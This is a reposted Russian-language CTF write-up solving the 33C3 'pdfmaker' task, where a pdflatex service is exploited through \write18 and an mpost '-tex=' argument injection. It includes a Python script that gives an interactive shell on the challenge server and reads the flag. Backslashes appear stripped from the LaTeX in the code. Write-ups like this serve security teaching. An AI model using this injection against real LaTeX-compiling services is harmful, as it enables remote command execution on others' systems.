» » 33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker

 

33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker

Автор: admin от 31-12-2016, 12:15, посмотрело: 209

Этот небольшой write-up будет посвящен разбору одного из заданий с недавнего CTF 33С3. Задания ещё доступны по ссылке, а пока рассмотрим решение pdfmaker из раздела Misc.

Собственно, описание задания:
Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

К заданию прилагался скрипт, исходным кодом сервиса:

После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.

Воспользуемся им, и напишем небольшой скрипт для более удобного выполнения команд:
#!/usr/bin/python3
import socket

def send(cmd):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("78.46.224.91", 24242))
	x = '''verbatimtex
documentclass{minimal}begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; end{document} bye
q
'''
	s.send('create mp xn'.encode())
	s.send(x.encode())

	s.send('create tex testn'.encode())
	test = '''documentclass{article}begin{document}
immediatewrite18{mpost -ini "-tex=bash -c (%s)>flag.tex" "x.mp"}
end{document}
q
''' %(cmd)
	s.sendall(test.encode())
	s.send('compile testn'.encode())
	s.send('show tex flagn'.encode())
	data = s.recv(90240)
	data = data.decode()
	s.close()
	return data

while True:
	cmd = input('> ')
	cmd = cmd.replace(' ','${IFS}')
	print(send(cmd))	

После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:
ls | grep 33 | xargs cat

33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker

Задание пройдено, флаг найден!

Источник: Хабрахабр

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *